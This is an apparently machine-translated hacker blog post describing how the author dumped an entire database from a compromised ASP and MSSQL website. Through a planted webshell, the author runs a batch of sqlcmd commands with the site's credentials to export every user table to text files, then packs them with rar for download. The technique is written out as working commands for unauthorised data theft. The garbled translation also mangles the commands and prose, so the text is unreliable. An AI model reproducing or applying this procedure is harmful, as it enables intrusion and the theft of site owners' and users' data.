Recently, I encountered an environment with my pants removed: the asp + mssql environment. The website database is separated and I want to take off all the content in the library and try a variety of pants-removing scripts, all of which are a little unsatisfactory to try ssql. although asp is fine, the library content is relatively large, and the script size is limited for each execution. For example, if only 10000 statements can be queried at a time, the query is performed multiple times, but the data volume is several hundred thousand, this execution is also very uncomfortable. Later, I found that the sqlcmd tool is available under the command line. If I can remotely execute the SQL command, I tried to back up the database remotely. The command is as follows: sqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "backup database xxx to disk = 'C: \ temp \ xxx. bak '"But failed. After analysis, the cms account has the public permission, if you do not have the backup permission, you can back up all the tables in the database. First, you can obtain the select name from cms for all the user tables in the database. dbo. sysobjects where xtype = 'U' is then made into a batch processing sqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table1"> c: \ temp \ table1.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table2"> c: \ temp \ table2.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table3"> c: \ temp \ table3.txtsqlcmd-U cms-P qwe123! @ #-S 192.168.10.10-Q "select * from table4"> c: \ temp \ table4.txt ....... in this way, the webshell can execute this batch of processing, and 100,000 of the data will be exported to the web server in a few seconds. Then, the download is completed by using rar to package thunder.